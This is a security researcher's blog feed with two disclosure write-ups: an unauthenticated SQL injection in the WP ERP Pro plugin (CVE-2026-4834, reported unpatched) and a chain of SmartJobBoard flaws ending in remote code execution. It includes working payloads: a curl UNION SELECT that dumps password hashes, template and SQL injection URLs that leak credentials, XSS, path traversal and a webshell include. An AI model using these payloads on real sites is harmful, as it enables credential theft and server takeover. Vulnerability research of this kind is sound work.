<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.3.3">Jekyll</generator><link href="https://kudasav.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://kudasav.com/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-06-02T17:31:10+00:00</updated><id>https://kudasav.com/feed.xml</id><title type="html">Kuda Savanhu</title><subtitle>Security research and vulnerability write-ups by Kuda Savanhu. CVE deep dives, web application penetration testing, and full-stack development notes.</subtitle><author><name>Kuda Savanhu</name></author><entry><title type="html">Unauthenticated SQL Injection in WP ERP Pro (CVE-2026-4834)</title><link href="https://kudasav.com/2026/05/27/unauthenticated-sql-injection-in-wp-erp-pro.html" rel="alternate" type="text/html" title="Unauthenticated SQL Injection in WP ERP Pro (CVE-2026-4834)" /><published>2026-05-27T00:00:00+00:00</published><updated>2026-05-27T00:00:00+00:00</updated><id>https://kudasav.com/2026/05/27/unauthenticated-sql-injection-in-wp-erp-pro</id><content type="html" xml:base="https://kudasav.com/2026/05/27/unauthenticated-sql-injection-in-wp-erp-pro.html"><![CDATA[<p>Well hello there! In today’s post we will be exploring an SQL injection vulnerability I discovered in the WP ERP Pro WordPress plugin.</p>

<p>WP ERP Pro is the paid extension of the popular WP ERP plugin, bundling HR, CRM, and accounting modules into a single WordPress installation. The bug we are after exists inside a REST endpoint in the HR module.</p>

<h2 id="vulnerability-unauthenticated-sql-injection-versions--151">Vulnerability: Unauthenticated SQL Injection (Versions &lt;= 1.5.1)</h2>

<p>The HR module of the plugin contains a <code class="language-plaintext highlighter-rouge">RecruitmentController</code> class which exposes a <code class="language-plaintext highlighter-rouge">/wp-json/erp/v1/hrm/recruitment/jobs</code> endpoint which is defined in the code snippet below:</p>

<pre class="line-numbers no-padding">
<code class="php">public function register_routes() {
    register_rest_route( $this-&gt;namespace, '/' . $this-&gt;rest_base . '/jobs', [
        [
            'methods'             =&gt; WP_REST_Server::READABLE,
            'callback'            =&gt; [ $this, 'get_jobs' ],
            'args'                =&gt; $this-&gt;get_collection_params(),
            'permission_callback' =&gt; function( $request ) {
                header( 'Access-Control-Allow-Origin: *' );
                header( 'Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE' );
                return true;
            },
        ],
        'schema' =&gt; [ $this, 'get_public_item_schema' ],
    ] );
}
</code></pre>

<p>One detail immediately stands out. The <code class="language-plaintext highlighter-rouge">permission_callback</code> unconditionally returns true, which means that no authentication is required to reach the endpoint. That on its own is not a bug, but it opens the handler up to exploitation by anyone who can issue a request to it.</p>

<p>Requests to the endpoint are processed by the <code class="language-plaintext highlighter-rouge">get_jobs</code> function:</p>

<pre class="line-numbers no-padding">
<code class="php">public function get_jobs( \WP_REST_Request $request ) {
    global $wpdb;

    $items_per_page  = ( isset( $request['per_page'] ) ) ? $request['per_page'] : 10;
    $page            = ( isset( $request['page'] ) ) ? $request['page'] : 1;
    $offset          = ( $page - 1 ) * $items_per_page;
    $today           = date( 'Y-m-d' );

    $query = "SELECT
            post.*
            FROM {$wpdb-&gt;prefix}posts AS post
            INNER JOIN {$wpdb-&gt;prefix}postmeta as pmeta
            ON pmeta.post_id = post.id
            WHERE post.post_type = 'erp_hr_recruitment'
            AND (
                (pmeta.meta_key = '_expire_date' AND pmeta.meta_value &gt;= '$today')
               OR (pmeta.meta_key = '_expire_date' AND pmeta.meta_value = '')
            ) ";

    if ( isset( $request['status'] ) &amp;&amp; $request['status'] !== '' &amp;&amp; $request['status'] !== '-1' &amp;&amp; ( $request['status'] === 'draft' || $request['status'] === 'pending' ) ) {
        $query .= " AND post.post_status='" . $request['status'] . "'";
    }
    if ( isset( $request['status'] ) &amp;&amp; $request['status'] === 'publish' &amp;&amp; $request['status'] !== '' &amp;&amp; $request['status'] !== '-1' ) {
        $query .= " AND post.post_status='publish' AND ( DATE(pmeta.meta_value) &gt; CURDATE() OR DATE(pmeta.meta_value) = ' ')";
    }
    if ( isset( $request['status'] ) &amp;&amp; $request['status'] === 'expired' &amp;&amp; $request['status'] !== '' &amp;&amp; $request['status'] !== '-1' ) {
        $query .= " AND post.post_status='publish' AND ( DATE(pmeta.meta_value) &lt; CURDATE() AND DATE(pmeta.meta_value) &lt;&gt; ' ')";
    }
    if ( isset( $request['search_key'] ) &amp;&amp; $request['search_key'] !== '' ) {
        $query .= " AND post.post_title LIKE '%" . $request['search_key'] . "%'";
    }

    $query .= " ORDER BY id DESC LIMIT {$offset}, {$items_per_page}";

    $results = $wpdb-&gt;get_results( $query );
    ...
}
</code></pre>

<p>The function reads a <code class="language-plaintext highlighter-rouge">search_key</code> query parameter from the request and concatenates it into a <code class="language-plaintext highlighter-rouge">LIKE</code> clause without any sanitization and executes the resulting query as a raw SQL statement using <code class="language-plaintext highlighter-rouge">$wpdb-&gt;get_results()</code>.</p>

<p>Because the <code class="language-plaintext highlighter-rouge">search_key</code> value lands between single quotes inside a <code class="language-plaintext highlighter-rouge">LIKE</code> query, all we need to do is close the quote, append an arbitrary SQL statement, and comment out the remaining query.</p>

<p>While WordPress’ <code class="language-plaintext highlighter-rouge">wpdb</code> driver does not allow stacked queries, we can still exploit this bug to get full read access to any table in the database by using a <code class="language-plaintext highlighter-rouge">UNION SELECT</code> statement.</p>

<p>The combination of no authentication and direct string concatenation allows us to read arbitrary data from the WordPress database, including the <code class="language-plaintext highlighter-rouge">wp_users</code> table (usernames, password hashes, emails) and the <code class="language-plaintext highlighter-rouge">wp_options</code> table where plugins routinely store API keys, SMTP credentials, and other secrets.</p>

<h2 id="so-how-does-this-translate-into-a-real-world-exploit">So, how does this translate into a real-world exploit?</h2>

<p>To pull this off, we have to terminate the <code class="language-plaintext highlighter-rouge">LIKE</code> clause early and inject a <code class="language-plaintext highlighter-rouge">UNION SELECT</code> clause targeting a different table, ensuring our column count matches the number of columns in WordPress’ <code class="language-plaintext highlighter-rouge">posts</code> table.</p>

<p>For instance, we can make this request to read the username and password hash columns from the <code class="language-plaintext highlighter-rouge">wp_users</code> table. <code class="language-plaintext highlighter-rouge">wp_posts</code> has 23 columns, so the <code class="language-plaintext highlighter-rouge">UNION</code> matches that shape and pads out the rest of the columns with null values:</p>

<pre class="line-numbers no-padding">
<code class="bash">curl -G "https://target.com/wp-json/erp/v1/hrm/recruitment/jobs" \
  --data-urlencode "search_key=x%' UNION SELECT null,null,null,null,user_login,user_pass,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM wp_users-- -"
</code></pre>

<p>The resulting response returns a list of arrays containing the usernames and password hash values from the <code class="language-plaintext highlighter-rouge">wp_users</code> table in the title and description parameters.</p>

<p>At the time of publication, no patch has been issued for this vulnerability. It is recommended to either disable the plugin or implement a manual patch until an official fix is released.</p>

<h2 id="disclosure-timeline">Disclosure Timeline:</h2>

<ul>
  <li><strong>Vendor Contacted</strong>: 26/02/2026</li>
  <li><strong>Vendor Response</strong>: No response</li>
  <li><strong>Public Disclosure</strong>: 21/05/2026</li>
  <li><strong>CVE Record</strong>: <a href="https://www.cve.org/CVERecord?id=CVE-2026-4834">https://www.cve.org/CVERecord?id=CVE-2026-4834</a></li>
  <li><strong>Wordfence Advisory</strong>: <a href="https://www.wordfence.com/threat-intel/vulnerabilities/id/d3849db8-5c9e-410e-be53-c9ab76162630">https://www.wordfence.com/threat-intel/vulnerabilities/id/d3849db8-5c9e-410e-be53-c9ab76162630</a></li>
</ul>]]></content><author><name>Kuda Savanhu</name></author><category term="wordpress" /><category term="sql-injection" /><category term="cve" /><category term="web-security" /><category term="vulnerability-research" /><summary type="html"><![CDATA[A look at CVE-2026-4834, an unauthenticated SQL injection in the WP ERP Pro WordPress plugin's recruitment REST API that lets attackers read arbitrary data from the database.]]></summary></entry><entry><title type="html">Achieving Unauthenticated Remote Code Execution in SmartJobBoard: A Technical Deep Dive</title><link href="https://kudasav.com/2025/07/30/archiving-rce-in-smartjobboard.html" rel="alternate" type="text/html" title="Achieving Unauthenticated Remote Code Execution in SmartJobBoard: A Technical Deep Dive" /><published>2025-07-30T00:00:00+00:00</published><updated>2025-07-30T00:00:00+00:00</updated><id>https://kudasav.com/2025/07/30/archiving-rce-in-smartjobboard</id><content type="html" xml:base="https://kudasav.com/2025/07/30/archiving-rce-in-smartjobboard.html"><![CDATA[<p>Our adventure begins with the discovery of a rather perplexing template injection vulnerability on a job board website</p>

<p><img src="/assets/img/SmartJobBoard/template-injection.png" alt="Template injection rendering a variable value in SmartJobBoard" loading="lazy" decoding="async" width="1833" height="905" /></p>

<p>After some poking around, I realized that the site only responded to variable names and not much else. For instance, entering {$url} into an input field would echo the value “/ajax/” and any other template injection payloads were either ignored or simply returned blank results.</p>

<p>Digging deeper into the site’s JavaScript and CSS files revealed that it was running software by SmartJobBoard. Fortunately for me, although no longer supported, older versions of SmartJobBoard had a self-hosted option and I could potentially get a copy of the software to review.</p>

<p>A quick GitHub keyword search later led me to repositories containing versions 4.2 and 5.0.3. With access to the source code which was powering the site I was able look at what was happening behind the scenes</p>

<h2 id="vulnerability-1-information-disclosure-versions-42--5013">Vulnerability #1: Information Disclosure (Versions 4.2 – 5.0.13)</h2>

<p>In the source code I found a TemplateProcessor class. As the name suggests, it is responsible for processing page templates and uses the Smarty library to do so.</p>

<p>It registers several custom plugins and also initializes some variables to be used when rendering pages. Of particular interest were the translate plugin, and registerGlobalVariables method.</p>

<pre class="line-numbers no-padding">
<code class="php">$this-&gt;registerPlugin('block', 'tr', array(&amp;$this, 'translate'));
...
$this-&gt;registerGlobalVariables();
</code></pre>

<p>Looking at the translate plugin, it makes a call to a replace_with_template_vars method each time the 
&lt;tr&gt;…&lt;/tr&gt; element is used in a template. That method looks like this:</p>

<pre class="line-numbers no-padding">
<code class="php">function replace_with_template_vars($res, &amp;$smarty)
{
    if (preg_match_all('/{[$]([a-zA-Z0-9_.]+)}/', $res, $matches)) {
        foreach($matches[1] as $varName) {
            $varNameArray = explode('.', $varName);
            $value = $smarty-&gt;getTemplateVars(is_array($varNameArray) ? $varNameArray[0] : $varName);
            if (is_array($value)) {
                if (is_array($varNameArray)) {
                    $varNameArraySize = sizeof($varNameArray);
                    for ($i = 1; $i &lt; $varNameArraySize; $i++) {
                        if (isset($value[$varNameArray[$i]])) {
                            $value = $value[$varNameArray[$i]];
                        } else {
                            $value = '';
                            break;
                        }
                    }
                } else {
                    $value = '';
                }
            }
            
            $value = str_replace(array('\\', '$'), array('\\\\', '\$'), $value);
            $res = preg_replace('/{[$]'.$varName.'}/u',$value,$res);
        }
    }
    return $res;
}
</code></pre>

<p>It replaces string placeholders like {$current_user.username} with their corresponding values in the $smarty object. For example, the string “Hello {$current_user.username}” would be rendered on a page as “Hello Kuda”. Since it reads values directly from the $smarty object we can effectively access any values assigned to it.</p>

<p>Now going back to that registerGlobalVariables() method:</p>

<pre class="line-numbers no-padding">
<code class="php">function registerGlobalVariables()
{
    $variables = SJB_System::getGlobalTemplateVariables();
	foreach ($variables as $name =&gt; $value) {
		$this-&gt;assign($name, $value);
	}
…
}
</code></pre>

<p>The method assigns values from a getGlobalTemplateVariables function into the $smarty object. Notably getGlobalTemplateVariables creates a “settings” variable</p>

<p><code class="language-plaintext highlighter-rouge">SJB_System::setGlobalTemplateVariable('settings', SJB_Settings::getSettings());</code></p>

<p>It uses a getSettings function to load some values to the variable, that function makes a call to loadSettings, which reads values from the settings table and assigns them to the settings variable:</p>

<pre class="line-numbers no-padding">
<code class="php">public static function loadSettings()
{
    self::$settings = array();
    $settingsInfo = SJB_DB::query("SELECT * FROM `settings`");
	
    foreach ($settingsInfo as $settingInfo) {
        self::$settings[$settingInfo['name']] = $settingInfo['value'];
    }
}
</code></pre>

<p>Altogether, this chain of events makes the information disclosure vulnerability possible. By abusing the logic of translate plugin we can read any value from the settings table. The payload to accomplish that will look something like this:</p>

<p><code class="language-plaintext highlighter-rouge">$GLOBALS.settings.[value]</code></p>

<p>For instance we can retrieve the SMTP password by entering $GLOBALS.settings.smtp_password into any reflected input field</p>

<p><img src="/assets/img/SmartJobBoard/template-injection-password.png" alt="Reading the SMTP password through SmartJobBoard template injection" loading="lazy" decoding="async" width="1853" height="913" /></p>

<p>This vulnerability exposes sensitive system configuration values including, SMTP credentials (smtp_host, smtp_username, smtp_password), API keys, and admin credentials (username, password).</p>

<h2 id="vulnerability-2-reflected-cross-site-scripting-xss-versions-42--5013">Vulnerability #2: Reflected cross site scripting (XSS) (Versions 4.2 – 5.0.13)</h2>

<p>Moving on from the template processor, I discovered that the HTML form on the login page loads values from the URL parameters into hidden input fields without any sanitization</p>

<pre class="line-numbers no-padding">
<code class="php">&lt;form ...&gt;
    &lt;input type="hidden" name="return_url" value="{$return_url}" /&gt;
    &lt;input type="hidden" name="action" value="login" /&gt;
    {if $shopping_cart}&lt;input type="hidden" name="shopping_cart" value="{$shopping_cart}" /&gt;{/if}
    {if $proceedToPosting}&lt;input type="hidden" name="proceed_to_posting" value="{$proceedToPosting}" /&gt;{/if}
    {if $productSID}&lt;input type="hidden" name="productSID" value="{$productSID}" /&gt;{/if}
    
    ...
&lt;/form&gt;
</code></pre>

<p>This creates a reflected cross-site scripting (XSS) vulnerability, allowing us to include any arbitrary HTML or Javascript code into the page. For instance, we can use the “shopping_cart” parameter to inject HTML into the page by crafting a URL in this format:</p>

<p><code class="language-plaintext highlighter-rouge">{site}/login?shopping_cart="&gt;&lt;h1&gt;"It's a leap of faith. That's all it is Miles, a leap of faith.&lt;/h1&gt;</code></p>

<p><img src="/assets/img/SmartJobBoard/reflected cross-site-scripting.png" alt="Reflected cross-site scripting payload executing in SmartJobBoard" loading="lazy" decoding="async" width="1847" height="916" /></p>

<h2 id="vulnerability-3-sql-injection-version-42">Vulnerability #3: SQL Injection (Version 4.2)</h2>

<p>Continuing my analysis of the system’s features, I came across an autocomplete class. It powers the auto-suggestion functionality for various input fields across the application.</p>

<p>It uses regular expression matching to extract parameters from the request URL, which are then used to build an SQL query that fetches similar terms from the database</p>

<pre class="line-numbers no-padding">
<code class="php">...
preg_match("(.*/autocomplete/{$field}/{$fieldType}/([a-zA-Z]*)/?)", $requestUri, $tablePrefix);
$tablePrefix = SJB_DB::quote(!empty($tablePrefix[1]) ? $tablePrefix[1] : '');
...
$query = SJB_Request::getVar('q', false);
</code></pre>

<p>Critically, the resultant query is constructed using user-provided values, allowing us to specify both the table and column to search for the autocomplete suggestions in.</p>

<pre class="line-numbers no-padding">
<code class="php">elseif ($fieldType == 'string') {
    $additionalCondition = '';
    $fieldParents        = explode('_', $field);
    $fieldName           = array_pop($fieldParents);

    if ($fieldName == 'City') {
        if ($viewType == 'input') {
            $tablePrefix = 'locations';
            $field       = 'City';
        }
        elseif ($viewType == 'search' &amp;&amp; $tablePrefix == 'listings') {
            $listingTypeSid      = SJB_ListingTypeManager::getListingTypeSIDByID($listingTypeID);
            $additionalCondition = '`listing_type_sid` = ' . $listingTypeSid . ' AND';
        }
    }

    $result = SJB_DB::query("SELECT DISTINCT `{$field}` as `value`, COUNT(*) `count` FROM `{$tablePrefix}` WHERE " . $additionalCondition . " `{$field}` LIKE ?s GROUP BY `{$field}` ORDER BY `count` DESC LIMIT 0 , 5", $queryCriterion);
}
</code></pre>

<p>The URLs follow the pattern:</p>

<p><code class="language-plaintext highlighter-rouge">{site url}/system/miscellaneous/autocomplete/{column}/string/{table}/padding/paddng/?q={search term}</code></p>

<p>For instance, we can fetch the passwords and usernames of admin accounts from the administrator table by crafting this url:</p>

<p><code class="language-plaintext highlighter-rouge">{url}/system/miscellaneous/autocomplete/password/string/administrator/padding/padding/?q=2</code></p>

<p><img src="/assets/img/SmartJobBoard/sqli-admin-password.png" alt="SQL injection retrieving admin usernames and password hashes" loading="lazy" decoding="async" width="1866" height="946" /></p>

<h2 id="vulnerability-4-template-injection-and-remote-code-execution-versions-42--5013">Vulnerability #4: Template Injection and Remote Code Execution (Versions 4.2 – 5.0.13)</h2>

<p>While browsing through the source code of various pages, I noticed that some of them allow users to specify the page template to be loaded via a “template” URL parameter. In the PHP class for the login page i found the following line:</p>

<p><code class="language-plaintext highlighter-rouge">$template = SJB_Request::getVar('template', 'login.tpl');</code></p>

<p>It attempts to retrieve the “template” value from the request parameters. If it is not specified it defaults to the “login.tpl” template. Later in the same class, the $template variable is then passed directly into the template processor’s display method, which processes and renders the specified page template:</p>

<p><code class="language-plaintext highlighter-rouge">$tp-&gt;display($template);</code></p>

<p>This effectively gives us full control over what is displayed on the page by allowing us to specify any file on the server to be loaded. For instance, we can achieve an arbitrary file read by crafting a url to load the /etc/passwd file:</p>

<p><code class="language-plaintext highlighter-rouge">{site url}/login?template=/../../../../etc/passwd</code></p>

<p><img src="/assets/img/SmartJobBoard/arbitrary-file-read.png" alt="Arbitrary file read of /etc/passwd via the template parameter" loading="lazy" decoding="async" width="1866" height="946" /></p>

<p>This vulnerability becomes even more critical when combined with an unauthenticated file upload flaw in the ajax_file_upload_handler class. Using it we can upload files to the /files/files directory.</p>

<p><img src="/assets/img/SmartJobBoard/anauthenticated-file-upload.png" alt="Unauthenticated file upload in SmartJobBoard" loading="lazy" decoding="async" width="1920" height="1032" /></p>

<p>We can then execute the uploaded files by creating a url that points the template variable to it</p>

<p><code class="language-plaintext highlighter-rouge">{site url}/login?template=../../../files/files/shell.pdf</code></p>

<p><img src="/assets/img/SmartJobBoard/remote-code-execution.png" alt="Remote code execution achieved through the uploaded shell" loading="lazy" decoding="async" width="1844" height="938" /></p>

<p>This sequence of events ultimately leads to a critical, unauthenticated remote code execution vulnerability, granting us full system access on any vulnerable website.</p>

<p>And that’s it. Be sure to drop by again for more pentesting and programming adventures. Till next time!</p>

<h4 id="disclosure-timeline">Disclosure Timeline</h4>
<ul>
  <li><strong>Vendor Contact</strong>: 24/01/2025</li>
  <li><strong>Vendor Response</strong>: Affected versions have reached end-of-life and are no longer supported</li>
  <li><strong>Public Disclosure</strong>: 01/08/2025</li>
</ul>]]></content><author><name>Kuda Savanhu</name></author><category term="rce" /><category term="template-injection" /><category term="sql-injection" /><category term="xss" /><category term="web-security" /><category term="vulnerability-research" /><summary type="html"><![CDATA[In this post i explore critical security flaws in SmartJobBoard software, including template injection, SQL injection, cross-site scripting, and remote code execution.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://kudasav.com/assets/img/SmartJobBoard/remote-code-execution.png" /><media:content medium="image" url="https://kudasav.com/assets/img/SmartJobBoard/remote-code-execution.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>